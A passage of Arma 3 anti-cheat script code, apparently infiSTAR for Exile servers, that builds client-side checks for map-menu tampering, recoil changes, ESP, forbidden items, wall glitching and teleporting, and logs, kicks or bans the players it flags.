  2673. "; }; _A3AHstring = _A3AHstring + "
  2674. "; }; _A3AHstring = _A3AHstring + "
  2675. "; if(_CMM)then{ _A3AHstring = _A3AHstring + "
  2676. _display12 = findDisplay 12;
  2677. if(!isNull _display12)then
  2678. {
  2679. _selected = lbSelection (_display12 displayCtrl 1001);
  2680. if(!(_selected isEqualTo [2])&&!(_selected isEqualTo [3]))then
  2681. {
  2682. _control1 = _display12 displayCtrl 1002;
  2683. _size = lbSize _control1;
  2684. if(_size > 2)then
  2685. {
  2686. _texts = [];
  2687. for '_i' from 0 to (_size-1) do
  2688. {
  2689. _lbtxt = _control1 lbText _i;
  2690. _texts pushBack _lbtxt;
  2691. };
  2692. _log = format['Map Sub-Menu %1 size has been changed to %2. Found: %3',_selected,_size,_texts];
  2693. [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
  2694. (findDisplay 46)closeDisplay 0;
  2695. lbClear _control1;
  2696. };
  2697. };
  2698. _control2 = _display12 displayCtrl 1001;
  2699. _lsize = lbSize _control2;
  2700. if(_lsize > "+str _maxMapMenuEntries+")then
  2701. {
  2702. if(!_mapMenuLogged)then
  2703. {
  2704. _mapMenuLogged = true;
  2705.  
  2706. _texts = [];
  2707. for '_i' from 0 to (_lsize-1) do
  2708. {
  2709. _lbtxt = _control2 lbText _i;
  2710. _texts pushBack _lbtxt;
  2711. };
  2712. _log = format['Map Menu has been changed %1 entries found - Texts: %2',_lsize,_texts];
  2713. [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
  2714. };
  2715. for '_i' from ("+str _maxMapMenuEntries+")+1 to _lsize do
  2716. {
  2717. _control2 lbDelete _i;
  2718. };
  2719. };
  2720. };
  2721. "; }; _A3AHstring = _A3AHstring + "
  2722.  
  2723. if(isNull player)then{(findDisplay 46)closeDisplay 0;};
  2724. _type = typeOf player;
  2725. if!(_type isEqualTo 'Exile_Unit_Player')then
  2726. {
  2727. if((currentWeapon player != '')||(player != vehicle player))then
  2728. {
  2729. if((getPos player) distance2D _start_player_pos > 500)then
  2730. {
  2731. _log = format['Player is BADTYPE (invisible hack?): %1 - %2 %3 @%4 %5(KICKED)',_type,player,vehicle player,getPos player,mapGridPosition player];
  2732. [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
  2733. (findDisplay 46)closeDisplay 0;
  2734. };
  2735. };
  2736. };
  2737. "; if(_URC)then{ _A3AHstring = _A3AHstring + "
  2738. _unit = player;
  2739. if((!isNull _unit)&&{alive _unit})then
  2740. {
  2741. _curecoil = unitRecoilCoefficient _unit;
  2742. if(_curecoil != 1)then
  2743. {
  2744. _log = format['BadRecoil %1 | %2 %3 %4',_curecoil,typeOf _unit,typeOf (vehicle _unit),currentWeapon _unit];
  2745. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2746. (findDisplay 46)closeDisplay 0;
  2747. };
  2748. };
  2749. "; }; _A3AHstring = _A3AHstring + "
  2750. _veh = vehicle player;
  2751. if(isNull objectParent player)then
  2752. {
  2753. "; if((_LVC)&&(!_UAT))then{ _A3AHstring = _A3AHstring + "
  2754. _type = typeOf player;
  2755. if!(_type isEqualTo 'Exile_Unit_GhostPlayer')then
  2756. {
  2757. _netId = netId player;
  2758. if!(_netId select [0,2] isEqualTo '2:')then
  2759. {
  2760. _log = format['Not Local PlayerObject: %1 with netId %2 @%3',typeOf player,_netId,getPos player];
  2761. deleteVehicle player;
  2762. [_name,_puid,'TMPBAN',toArray(_log),time + 600] call _AHKickLog;
  2763. [] call _AHKickOFF;
  2764. };
  2765. };
  2766. "; }; _A3AHstring = _A3AHstring + "
  2767. }
  2768. else
  2769. {
  2770. "; if((_LVC)&&(!_UAT))then{ _A3AHstring = _A3AHstring + "
  2771. _netId = netId player;
  2772. if(_netId isEqualTo '0:0')then
  2773. {
  2774. _type = typeOf _veh;
  2775. _log = format['LocalVehicle: %1 with netId 0:0 @%2',_type,getPosATL _veh];
  2776. deleteVehicle _veh;
  2777. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  2778. };
  2779. "; }; _A3AHstring = _A3AHstring + "
  2780. _ropeAttachedObjects = ropeAttachedObjects _veh;
  2781. if!(_ropeAttachedObjects isEqualTo [])then
  2782. {
  2783. if(!isNull _x)then
  2784. {
  2785. if(locked _x isEqualTo 2)exitWith
  2786. {
  2787. {ropeDestroy _x;} forEach (ropes _veh);
  2788. {ropeDestroy _x;} forEach (ropes _x);
  2789.  
  2790. _log = 'You can not SlingLoad / Rope Attach a locked vehicle!';
  2791. systemChat ('<infiSTAR.de> '+_log);
  2792. cutText [_log, 'PLAIN'];
  2793.  
  2794. _log = format['Slingloaded / Rope Attached a locked vehicle: %1',_x];
  2795. [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
  2796. };
  2797. if(!ropeAttachEnabled _x)exitWith
  2798. {
  2799. {ropeDestroy _x;} forEach (ropes _veh);
  2800. {ropeDestroy _x;} forEach (ropes _x);
  2801.  
  2802. _log = 'You can not SlingLoad / Rope Attach this vehicle!';
  2803. systemChat ('<infiSTAR.de> '+_log);
  2804. cutText [_log, 'PLAIN'];
  2805.  
  2806. _log = format['Slingloaded / Rope Attached a vehicle that has ropeAttach disabled!: %1',_x];
  2807. [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
  2808. };
  2809. "; if(_slingload_check)then{ _A3AHstring = _A3AHstring + "
  2810. if!(crew _x isEqualTo [])exitWith
  2811. {
  2812. {ropeDestroy _x;} forEach (ropes _veh);
  2813. {ropeDestroy _x;} forEach (ropes _x);
  2814.  
  2815. _log = 'You can not SlingLoad / Rope Attach a vehicle with a crew!';
  2816. systemChat ('<infiSTAR.de> '+_log);
  2817. cutText [_log, 'PLAIN'];
  2818. };
  2819. "; }; _A3AHstring = _A3AHstring + "
  2820. };
  2821. };
  2822. };
  2823.  
  2824. {
  2825. _obj = agent _x;
  2826. if(local _obj)then
  2827. {
  2828. _weapons = weapons _obj;
  2829. _magazines = magazines _obj;
  2830. _items = items _obj;
  2831. if(count _weapons > 0 || count _magazines > 0 || count _items > 0)then
  2832. {
  2833. deleteVehicle _obj;
  2834. _log = format['Loadout Bot found @%1 %2 with [%3,%4,%5]',position _obj,mapGridPosition _obj,_weapons,_magazines,_items];
  2835. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2836. [] call _AHKickOFF;
  2837. };
  2838. };
  2839. } forEach agents;
  2840. "; if(_attach_to_check)then{ _A3AHstring = _A3AHstring + "
  2841. if(diag_tickTime > _checkedclose)then
  2842. {
  2843. _checkedclose = diag_tickTime + 10;
  2844. _veh = vehicle player;
  2845. _closeveh = [_veh];
  2846. _closeveh append (_veh nearEntities ['AllVehicles',100]);
  2847. {
  2848. if(!isNull _x)then
  2849. {
  2850. _xobj = _x;
  2851. if(!isNull _xobj)then
  2852. {
  2853. _attcheXdobjects = attachedObjects _x;
  2854. if!(_attcheXdobjects isEqualTo [])then
  2855. {
  2856. _cntQd = {(toLower (typeOf _x)) find 'quad' != -1} count _attcheXdobjects;
  2857. if(_cntQd > 5)then
  2858. {
  2859. detach _xobj;
  2860. {detach _x;} forEach _attcheXdobjects;
  2861. if(_xobj isEqualTo _veh)then
  2862. {
  2863. _log = format['x attached to vehicle player: %1 - %2 @%3 %4',typeOf _xobj,_attcheXdobjects,position player,mapGridPosition player];
  2864. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2865. [] call _AHKickOFF;
  2866. }
  2867. else
  2868. {
  2869. _log = format['Attached Objects found: %1 - %2 @%3 %4',typeOf _xobj,_attcheXdobjects,position _xobj,mapGridPosition _xobj];
  2870. [_name,_puid,'HLOG',toArray(_log)] call _AHKickLog;
  2871. };
  2872. };
  2873. if(_veh in _attcheXdobjects)then
  2874. {
  2875. detach _veh;
  2876. _log = format['vehicle player attached to x: %1 - %2 @%3 %4',typeOf _xobj,_attcheXdobjects,position player,mapGridPosition player];
  2877. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2878. [] call _AHKickOFF;
  2879. };
  2880. };
  2881. };
  2882. };
  2883. } forEach _closeveh;
  2884. };
  2885. "; }; _A3AHstring = _A3AHstring + "
  2886. if((groupIconsVisible isEqualTo [true,false])||(groupIconsVisible isEqualTo [false,true]))then
  2887. {
  2888. _log = format['ESP/MAP-HACK (groupIcons): %1',groupIconsVisible];
  2889. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  2890. [] call _AHKickOFF;
  2891. };
  2892. uiSleep .75;
  2893. };
  2894. _slowloop = {
  2895. if!((str _randvar3) isEqualTo (str ('test'+str _random)))then
  2896. {
  2897. _log = format['_randvar3 has been changed to %1',_randvar3];
  2898. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  2899. [] call _AHKickOFF;
  2900. };
  2901. "; if(_CAP)then{ _A3AHstring = _A3AHstring + "
  2902. if(player isEqualTo _object)then[{_acnt = _acnt + 1},{_object = player;_acnt = 0}];
  2903. _actionid = player addAction ['', '', [], -5, false, true, '', 'false'];player removeAction _actionid;
  2904. if(_actionid > _acnt + 1)then
  2905. {
  2906. removeAllActions player;removeAllActions (vehicle player);
  2907. _acnt = _actionid;
  2908. };
  2909. "; }; _A3AHstring = _A3AHstring + "
  2910. "; if(_UFI||_UIW)then{ _A3AHstring = _A3AHstring + "
  2911. _inventory = [];
  2912. {_inventory pushBack _x;} forEach (assignedItems player);
  2913. {_inventory pushBack _x;} forEach (magazines player);
  2914. {_inventory pushBack _x;} forEach (weapons player);
  2915. {_inventory pushBack _x;} forEach (primaryWeaponItems player);
  2916. {_inventory pushBack _x;} forEach (secondaryWeaponItems player);
  2917. _inventory pushBack (primaryWeapon player);
  2918. _inventory pushBack (secondaryWeapon player);
  2919. _inventory pushBack (uniform player);
  2920. _inventory pushBack (vest player);
  2921. _inventory pushBack (backpack player);
  2922. _inventory pushBack (headgear player);
  2923. _inventory pushBack (goggles player);
  2924. if!(_inventory isEqualTo [])then
  2925. {
  2926. {
  2927. if(_x != '')then
  2928. {
  2929. if((_x in "+str _ForbiddenItems+") || (("+str _UIW+") && !(_x in "+str _ItemWhiteList+")))then
  2930. {
  2931. player removeItem _x;
  2932. player removeWeapon _x;
  2933. player removeMagazine _x;
  2934. if((uniform player) == _x)then{removeUniform player;};
  2935. if((vest player) == _x)then{removeVest player;};
  2936. if((backpack player) == _x)then{removeBackpack player;};
  2937. if((headgear player) == _x)then{removeHeadgear player;};
  2938. if((goggles player) == _x)then{removeGoggles player;};
  2939. player removePrimaryWeaponItem _x;
  2940. player removeSecondaryWeaponItem _x;
  2941. player unlinkItem _x;
  2942. _log = format['BadItem: %1 (might have been from an admin!)',_x];
  2943. [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
  2944. };
  2945. };
  2946. } forEach _inventory;
  2947. };
  2948. "; }; _A3AHstring = _A3AHstring + "
  2949. "; if(_checkHiddenObjects)then{ _A3AHstring = _A3AHstring + "
  2950. _pos = getPos player;
  2951. _objects = nearestObjects [_pos, ['Exile_Construction_Abstract_Static','AbstractConstruction','Exile_Construction_Flag_Static'], 250];
  2952. {
  2953. if(isObjectHidden _x)then
  2954. {
  2955. _log = format['Invisible OBJECT: %1 @%2 %3',typeOf _x,getPos _x,mapGridPosition _x];
  2956. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  2957. [] call _AHKickOFF;
  2958. };
  2959. } forEach _objects;
  2960. "; }; _A3AHstring = _A3AHstring + "
  2961. uiSleep 5;
  2962. };
  2963.  
  2964. "; if((_wall_look)||(_wall_glitch_object)||(_wall_glitch_vehicle))then{ _A3AHstring = _A3AHstring + "
  2965. _bigInputArray pushBack [
  2966. [_name,_uid,_AHKickOFF,_AHKickLog,_glitchcode],
  2967. {
  2968. scriptName '2';
  2969. _name = _this select 0;
  2970. _puid = _this select 1;
  2971. _AHKickOFF = _this select 2;
  2972. _AHKickLog = _this select 3;
  2973.  
  2974. _fn_check_allowed_build = {
  2975. _flags = player nearObjects ['Exile_Construction_Flag_Static', 50];
  2976. if(_flags isEqualTo [])exitWith{false};
  2977.  
  2978. _val = true;
  2979. {
  2980. _radius = _x getVariable['ExileTerritorySize', -1];
  2981. if((player distance2D _x) < _radius)then
  2982. {
  2983. _buildRights = _x getVariable['ExileTerritoryBuildRights', []];
  2984. {
  2985. if((getPlayerUID _x) in _buildRights)exitWith
  2986. {
  2987. _val = false;
  2988. };
  2989. } forEach (units(group player));
  2990. };
  2991. if(!_val)exitWith{};
  2992. } forEach _flags;
  2993. _val
  2994. };
  2995. "; if(_wall_look)then{ _A3AHstring = _A3AHstring + "
  2996. _faded = false;
  2997. _fadeTimer = time;
  2998. _dis_head = 0.20;
  2999. _dis_weapon_l = 0.20;
  3000. _dis_weapon_r = 0.30;
  3001. _dir_weapon_r = 0;
  3002. _dir_weapon_l = 0;
  3003. "; }; _A3AHstring = _A3AHstring + "
  3004. "; if(_wall_glitch_object)then{ _A3AHstring = _A3AHstring + "
  3005. _floorGlitchReported = time;
  3006. _wallGlitchReported = time;
  3007. _fn_push_back = {
  3008. _vel = velocity player;
  3009. _dir = getDirVisual player;
  3010. _speed = -15;
  3011. player setVelocity [
  3012. (_vel select 0) + (sin _dir * _speed),
  3013. (_vel select 1) + (cos _dir * _speed),
  3014. -1
  3015. ];
  3016. };
  3017. _fn_check_object = {
  3018. if(_type isEqualTo 'Exile_Construction_ConcreteFloor_Static')exitWith{true};
  3019. if(_type isEqualTo 'Exile_Construction_WoodFloor_Static')exitWith{true};
  3020. if(_type isEqualTo 'Exile_Construction_WoodFloor_Reinforced_Static')exitWith{true};
  3021.  
  3022. _floor = false;
  3023. if(_type isEqualTo 'Exile_Construction_ConcreteWall_Static')exitWith{true};
  3024. if(_type isEqualTo 'Exile_Construction_WoodWall_Static')exitWith{true};
  3025. if(_type isEqualTo 'Exile_Construction_WoodWall_Reinforced_Static')exitWith{true};
  3026. if(_type isEqualTo 'Exile_Construction_WoodWallHalf_Static')exitWith{true};
  3027. if(_type isEqualTo 'Exile_Construction_WoodWallHalf_Reinforced_Static')exitWith{true};
  3028.  
  3029. if(_type isEqualTo 'Exile_Construction_ConcreteWindow_Static')exitWith{true};
  3030. if(_type isEqualTo 'Exile_Construction_ConcreteWindowHatch_Static')exitWith{true};
  3031. if(_type isEqualTo 'Exile_Construction_WoodWindow_Static')exitWith{true};
  3032. if(_type isEqualTo 'Exile_Construction_WoodWindow_Reinforced_Static')exitWith{true};
  3033.  
  3034. if((_type isEqualTo 'Exile_Construction_ConcreteDoor_Static')&&(_x animationPhase 'DoorRotation' isEqualTo 0))exitWith{true};
  3035. if((_type isEqualTo 'Exile_Construction_WoodDoor_Static')&&(_x animationPhase 'DoorRotation' isEqualTo 0))exitWith{true};
  3036. if((_type isEqualTo 'Exile_Construction_WoodDoor_Reinforced_Static')&&(_x animationPhase 'DoorRotation' isEqualTo 0))exitWith{true};
  3037.  
  3038. if((_type isEqualTo 'Exile_Construction_ConcreteGate_Static')&&(_x animationPhase 'DoorRotationLeft' isEqualTo 0))exitWith{true};
  3039. if((_type isEqualTo 'Exile_Construction_WoodGate_Static')&&(_x animationPhase 'DoorRotationLeft' isEqualTo 0))exitWith{true};
  3040. if((_type isEqualTo 'Exile_Construction_WoodGate_Reinforced_Static')&&(_x animationPhase 'DoorRotationLeft' isEqualTo 0))exitWith{true};
  3041. false
  3042. };
  3043. "; }; _A3AHstring = _A3AHstring + "
  3044. "; if(_wall_glitch_object)then{ _A3AHstring = _A3AHstring + "
  3045. _glitchcounter = 0;
  3046. _lastglitch = time;
  3047. _fn_punish_glitch = {
  3048. if(time - _lastglitch > 180)then{_glitchcounter = 0;};
  3049. _lastglitch = time;
  3050. call {
  3051. if(_glitchcounter >= 3)exitWith
  3052. {
  3053. [_name,_puid,'TMPBAN',toArray(_log),time + 300] call _AHKickLog;
  3054. [] call _AHKickOFF;
  3055. };
  3056. if(_glitchcounter >= 2)exitWith
  3057. {
  3058. [_name,_puid,'SLOG_GLITCH',toArray(_log),player,clientOwner] call _AHKickLog;
  3059. };
  3060. if(_glitchcounter >= 1)exitWith
  3061. {
  3062. [_name,_puid,'SLOG_GLITCH',toArray(_log)] call _AHKickLog;
  3063. player action ['TOUCHOFF',player];
  3064. };
  3065. };
  3066. _glitchcounter = _glitchcounter + 1;
  3067. };
  3068. "; }; _A3AHstring = _A3AHstring + "
  3069. "; if(_wall_glitch_vehicle)then{ _A3AHstring = _A3AHstring + "
  3070. _GetOutMan = ""
  3071. params['_unit','_position','_vehicle','_turret'];
  3072. if (_unit == player) then {
  3073. _visualPos = getPosATLVisual _vehicle;
  3074. _visualPos set[2, (_visualPos select 2) + 1];
  3075. _dirTo = [_vehicle, player] call BIS_fnc_dirTo;
  3076. _secondPos = [_visualPos, (_vehicle distance2D player) + 1, _dirTo] call BIS_fnc_relPos;
  3077. {
  3078. if(_x isKindOf 'Exile_Construction_Abstract_Static')exitWith
  3079. {
  3080. player setPos (getPos _vehicle);
  3081. player moveInAny _vehicle;
  3082. if(call '+str _fn_check_allowed_build+')then
  3083. {
  3084. _log = format['WALL GLITCH CHECK (getout/ejected from vehicle) - @%1 %2',mapGridPosition _visualPos,_visualPos];
  3085. ['+str _name+','+str _puid+','SLOG_GLITCH',toArray(_log)] call '+str _AHKickLog+';
  3086. };
  3087. };
  3088. } forEach lineintersectsobjs[ATLToASL _visualPos, ATLToASL _secondPos, player, _vehicle, true, 2];
  3089. };
  3090. "";
  3091. "; }; _A3AHstring = _A3AHstring + "
  3092. while{true}do{call (_this select 4);};
  3093. }
  3094. ];
  3095. "; }; _A3AHstring = _A3AHstring + "
  3096. if(_isNormal)then
  3097. {
  3098. "; if(_UAT)then{ _A3AHstring = _A3AHstring + "
  3099. _bigInputArray pushBack [
  3100. [_name,_uid,_AHKickOFF,_AHKickLog,_atLoopCode],
  3101. {
  3102. scriptName '3';
  3103. private['_name','_puid','_AHKickOFF','_AHKickLog','_fn_set_reset','_lastpos','_log','_lasttime','_difftime','_curpos','_driver','_curnetId','_type','_allowTP','_fn_inTradeZone','_inTrader','_curVehicle','_oldVehicle','_distance','_speedcalc','_speed','_topSpeed','_topSpeedcalc','_topSpeedcalcOLD','_livestarted'];
  3104. _name = _this select 0;
  3105. _puid = _this select 1;
  3106. _AHKickOFF = _this select 2;
  3107. _AHKickLog = _this select 3;
  3108. scriptName ""ANTI TP"";
  3109. waitUntil{getClientStateNumber >= 10};
  3110. waituntil{!isNull findDisplay 46};
  3111. uiSleep 3;
  3112.  
  3113. _allowTP = [];
  3114. {
  3115. _markerType = markerType _x;
  3116. if(_markerType isEqualTo 'ExileTraderZone')then
  3117. {
  3118. _markerPos = markerPos _x;
  3119. _markerSize = markerSize _x;
  3120. _allowTP pushBack [_markerPos,(_markerSize select 0)+40];
  3121. };
  3122. } forEach allMapMarkers;
  3123. "; if!(_allowTPcfg isEqualTo [])then{ _A3AHstring = _A3AHstring + "
  3124. _allowTP append "+str _allowTPcfg+";
  3125. "; }; _A3AHstring = _A3AHstring + "
  3126.  
  3127. _fn_inTradeZone = {
  3128. try
  3129. {
  3130. {
  3131. _mpos = _x select 0;
  3132. _msize = _x select 1;
  3133. if((_curpos distance2D _mpos < _msize)&&(_lastpos distance2D _mpos < _msize))then{throw true;};
  3134. } forEach _allowTP;
  3135. false
  3136. }
  3137. catch
  3138. {
  3139. _exception
  3140. };
  3141. };
  3142. if(_allowTP isEqualTo [])then{_fn_inTradeZone = {false};};
  3143. _tmpTime = time + 5;waitUntil {time > _tmpTime};
  3144. _fn_getPos = {
  3145. params[['_obj',vehicle player]];
  3146. _p = getPosATL _obj;
  3147. if(surfaceIsWater _p)then{_p = getPosASL _obj;};
  3148. _p
  3149. };
  3150. _fn_setPos = {
  3151. params[['_obj',vehicle player],['_lp',[0,0,0]]];
  3152. if(surfaceIsWater _lp)then{_obj setPosASL _lp;}else{_obj setPosATL _lp;};
  3153. _curpos = _lp;
  3154. _lastpos = _lp;
  3155. uiSleep 0.1;
  3156. };
  3157. _firstPos = player call _fn_getPos;
  3158. _firstPosTPUSED = false;
  3159. _curVehicle = vehicle player;
  3160. _oldVehicle = _curVehicle;
  3161. _curpos = _curVehicle call _fn_getPos;
  3162. _lastpos = _curVehicle call _fn_getPos;
  3163. _type = typeOf _curVehicle;
  3164. _topSpeedcalc = 0;
  3165. _topSpeedcalcOLD = 0;
  3166. _livestarted = diag_tickTime;
  3167. _touchedground = false;
  3168. _exitPlease = false;
  3169. _revertcounter = 0;
  3170. _revertcounterlastcount = 0;
  3171. uiNameSpace setVariable['"+_AHpos+"',[0,0,0]];
  3172. while{true}do{call (_this select 4);};
  3173. }
  3174. ];
  3175. "; }; _A3AHstring = _A3AHstring + "
  3176. _bigInputArray pushBack [
  3177. [_name,_uid,_AHKickOFF,_AHKickLog,_badIDDsToKick,_badIDDsToClose,_allowedIDDs,_iddchecks,_admin],
  3178. {
  3179. scriptName '4';
  3180. disableSerialization;
  3181. _name = _this select 0;
  3182. _puid = _this select 1;
  3183. _AHKickOFF = _this select 2;
  3184. _AHKickLog = _this select 3;
  3185. _badIDDsToKick = _this select 4;
  3186. _badIDDsToClose = _this select 5;
  3187. "; if(_UDW)then{ _A3AHstring = _A3AHstring + "
  3188. _admin = _this select 8;
  3189. _allowedIDDs = _this select 6;
  3190. if(_admin)then{_allowedIDDs pushBackUnique 'Display #-1341';};
  3191. "; }; _A3AHstring = _A3AHstring + "
  3192. _announceDisplayIddOnce = [];
  3193. _verybadStrings = "+str _verybadStrings+";
  3194. _checked = [];
  3195. _lastEmpty = 0;
  3196. {uiNamespace setVariable[_x,nil];} forEach ['RscDisplayRemoteMissions','RscDisplayDebugPublic','RscDisplayMovieInterrupt','RscDisplayArsenal'];
  3197. "; if(_CMC)then{ _A3AHstring = _A3AHstring + "
  3198. _find1 = ['#user:bis_fnc_addcommmenuitem_menu','#user:bis_menu_groupcommunication'];
  3199. _find2tmp = "+str _allowedCommandingMenus+";
  3200. _find2 = [];{_find2 pushBackUnique (toLower _x);} forEach _find2tmp;
  3201. "; }; _A3AHstring = _A3AHstring + "
  3202. _start_player_pos = getPos player;
  3203. _lastText = '';
  3204. _fn_get_texts =
  3205. {
  3206. _txtstmp = [];
  3207. _allctrls = allControls _this;
  3208.  
  3209. {
  3210. _control = _x;
  3211. _controltype = ctrlType _control;
  3212.  
  3213. _logged = false;
  3214. try{
  3215. if(_controltype isEqualTo 5)then
  3216. {
  3217. _size = lbSize _control;
  3218. if(_size > 0)then
  3219. {
  3220. for '_i' from 0 to (_size-1) do
  3221. {
  3222. _lbtxt = _control lbText _i;
  3223. throw format['%1: %2',_control,_lbtxt];
  3224. };
  3225. };
  3226. }
  3227. else
  3228. {
  3229. if(_controltype isEqualTo 12)then
  3230. {
  3231. _curTV = tvCurSel _control;
  3232. _tvtxt = _control tvText _curTV;
  3233. throw format['%1: %2',_control,_tvtxt];
  3234. }
  3235. else
  3236. {
  3237. if!(_controltype in [3,4,8,9,15,42,81,101,102])then
  3238. {
  3239. _ctrlTxt = ctrlText _control;
  3240. throw format['%1: %2',_control,_ctrlTxt];
  3241. };
  3242. };
  3243. };
  3244. }
  3245. catch
  3246. {
  3247. _txtstmp pushBack _exception;
  3248. _logged = true;
  3249. };
  3250. if(!_logged)then{_txtstmp pushBack format['%1',_control];};
  3251. } forEach _allctrls;
  3252. _txtstmp
  3253. };
  3254. _wasclosed = false;
  3255. "; if(_attach_to_check)then{ _A3AHstring = _A3AHstring + "
  3256. _checkedclose = diag_tickTime + 10;
  3257. "; }; _A3AHstring = _A3AHstring + "
  3258. _mapMenuLogged = false;
  3259. while{true}do{call (_this select 7);};
  3260. }
  3261. ];
  3262. _bigInputArray pushBack [
  3263. [_name,_uid,_AHKickOFF,_AHKickLog,_slowloop],
  3264. {
  3265. scriptName '5';
  3266. _name = _this select 0;
  3267. _puid = _this select 1;
  3268. _AHKickOFF = _this select 2;
  3269. _AHKickLog = _this select 3;
  3270. "; if(_CAP)then{ _A3AHstring = _A3AHstring + "
  3271. _object = player;
  3272. _acnt = -1;
  3273. "; }; _A3AHstring = _A3AHstring + "
  3274. _random = round(random 9999);
  3275. _randvar3 = format['test%1',_random];
  3276. while{true}do{call (_this select 4);};
  3277. }
  3278. ];
  3279. };
  3280. "; }; _A3AHstring = _A3AHstring + "
  3281.  
  3282.  
  3283. "; if!(_HTML_LOAD_URL isEqualTo '')then{ _A3AHstring = _A3AHstring + "
  3284. _bigInputArray pushBack
  3285. [
  3286. {
  3287. disableSerialization;
  3288. _display49 = findDisplay 49;
  3289. if(!isNull _display49)then
  3290. {
  3291. if(isNil'HTML_LOAD_URL3')then
  3292. {
  3293. _log = 'HTML_LOAD_URL3 VARIABLE NILLED!';
  3294. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  3295. [] call _AHKickOFF;
  3296. }
  3297. else
  3298. {
  3299. if(typeName HTML_LOAD_URL3 isEqualTo 'STRING')then
  3300. {
  3301. if((_display49 displayCtrl 3307182) isEqualTo controlNull)then
  3302. {
  3303. [
  3304. '',
  3305. {
  3306. if(!isNil'START_LOADING_ESCHTML')then{terminate START_LOADING_ESCHTML;START_LOADING_ESCHTML=nil;};
  3307. START_LOADING_ESCHTML = [] spawn {
  3308. disableSerialization;
  3309. _html = (findDisplay 49) ctrlCreate ['RscHTML', 3307182];
  3310. _html ctrlSetBackgroundColor [0,0,0,0.3];
  3311. _html ctrlSetPosition [
  3312. safeZoneX,
  3313. safeZoneY,
  3314. safeZoneW,
  3315. safeZoneH/3
  3316. ];
  3317. _html ctrlCommit 0;
  3318. _html htmlLoad HTML_LOAD_URL3;
  3319. };
  3320. }
  3321. ] execFSM 'call.fsm';
  3322. };
  3323. }
  3324. else
  3325. {
  3326. _log = format['HTML_LOAD_URL3 VARIABLE CHANGED! TYPE: %1 VAR: %2',typeName HTML_LOAD_URL3,HTML_LOAD_URL3];
  3327. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  3328. [] call _AHKickOFF;
  3329. };
  3330. };
  3331. };
  3332. },
  3333. {
  3334. scriptName '6';
  3335. [0.2, _this, [], true] call ExileClient_system_thread_addTask;
  3336. }
  3337. ];
  3338. "; }; _A3AHstring = _A3AHstring + "
  3339.  
  3340.  
  3341. "; if(_CHECK_DRAWING)then{ _A3AHstring = _A3AHstring + "
  3342. _bigInputArray pushBack
  3343. [
  3344. {
  3345. _need_hlog = true;
  3346. {
  3347. _marker = _x;
  3348. if(_marker find '_USER_DEFINED' > -1)then
  3349. {
  3350. _markerchannel = _marker select [(count _marker)-1,1];
  3351. if(parseNumber _markerchannel > 2)exitWith{};
  3352.  
  3353. _stringsizeSTART = (_marker find '#')+1;
  3354. _stringsizeEND = _marker find '/';
  3355. _markerid = _marker select [_stringsizeSTART,_stringsizeEND - _stringsizeSTART];
  3356. _markerid = parseNumber _markerid;
  3357.  
  3358. _shape = markerShape _marker;
  3359. if(_shape isEqualTo 'POLYLINE')then
  3360. {
  3361. _puid = getPlayerUID player;
  3362. if!(_puid isEqualTo '')then
  3363. {
  3364. _uid = missionNameSpace getVariable[format['UID_BY_ID_%1',_markerid],'-1'];
  3365. if(_puid isEqualTo _uid)then
  3366. {
  3367. deleteMarker _marker;
  3368. _log = 'Deleted drawing on a global channel!';
  3369. systemChat ('<infiSTAR.de> '+_log);
  3370. if(_need_hlog)then
  3371. {
  3372. [profileName,_uid,'SLOG',toArray(_log)] call "+_AHKickLog+";
  3373. };
  3374. _need_hlog = false;
  3375. };
  3376. };
  3377. }
  3378. else
  3379. {
  3380. _name = missionNameSpace getVariable[format['NAME_BY_ID_%1',_markerid],''];
  3381. _markerText = markerText _marker;
  3382. if(_markerText isEqualTo '')then
  3383. {
  3384. _addition = format['%1: ',_name];
  3385. if((_markerText find _addition) isEqualTo -1)then
  3386. {
  3387. _marker setMarkerTextLocal (_addition+_markerText);
  3388. };
  3389. };
  3390. };
  3391. };
  3392. } forEach allMapMarkers;
  3393. },
  3394. {
  3395. scriptName '7';
  3396. [5, _this, [], true] call ExileClient_system_thread_addTask;
  3397. }
  3398. ];
  3399. "; }; _A3AHstring = _A3AHstring + "
  3400.  
  3401.  
  3402. "; if(_ENABLE_PRIVATE_CHAT_MENU)then{ _A3AHstring = _A3AHstring + "
  3403. _bigInputArray pushBack
  3404. [
  3405. {
  3406. if(isNil'CHAT_HISTORY_ARRAY')then{CHAT_HISTORY_ARRAY=[];};
  3407. if(isNil'ACTIVE_CHATS')then{ACTIVE_CHATS=[];};
  3408. CALC_TIME = {
  3409. _hours = floor(time / 60 / 60);
  3410. _minutes = floor((((time / 60 / 60) - _hours) max 0.0001)*60);
  3411. _seconds = time - (_hours*60*60) - (_minutes * 60);
  3412. format['%1h %2min %3s',_hours,_minutes,round _seconds]
  3413. };
  3414. ['CALC_TIME',[CALC_TIME] call fnc_CompilableString] call FN_infiSTAR_F;
  3415. fnc_add_to_playerlist = {
  3416. "; if(_PRIVATE_CHAT_MENU_8GNETWORK)then{ _A3AHstring = _A3AHstring + "
  3417. _xm8enabled = _unit getVariable ['ExileXM8IsOnline',false];
  3418. if(_xm8enabled)then
  3419. {
  3420. "; }; _A3AHstring = _A3AHstring + "
  3421. _name = _unit getVariable['ExileName',name _unit];
  3422. _index = _chat_playerlist lbadd _name;
  3423. _chat_playerlist lbSetData [_index,netId _unit];
  3424.  
  3425. _squadParams = squadParams _unit;
  3426. if!(_squadParams isEqualTo [])then
  3427. {
  3428. _squadinfo = _squadParams select 0;
  3429. _squadpic = _squadinfo select 4;
  3430. if!(_squadpic isEqualTo '')then
  3431. {
  3432. _chat_playerlist lbSetPicture [_index,_squadpic];
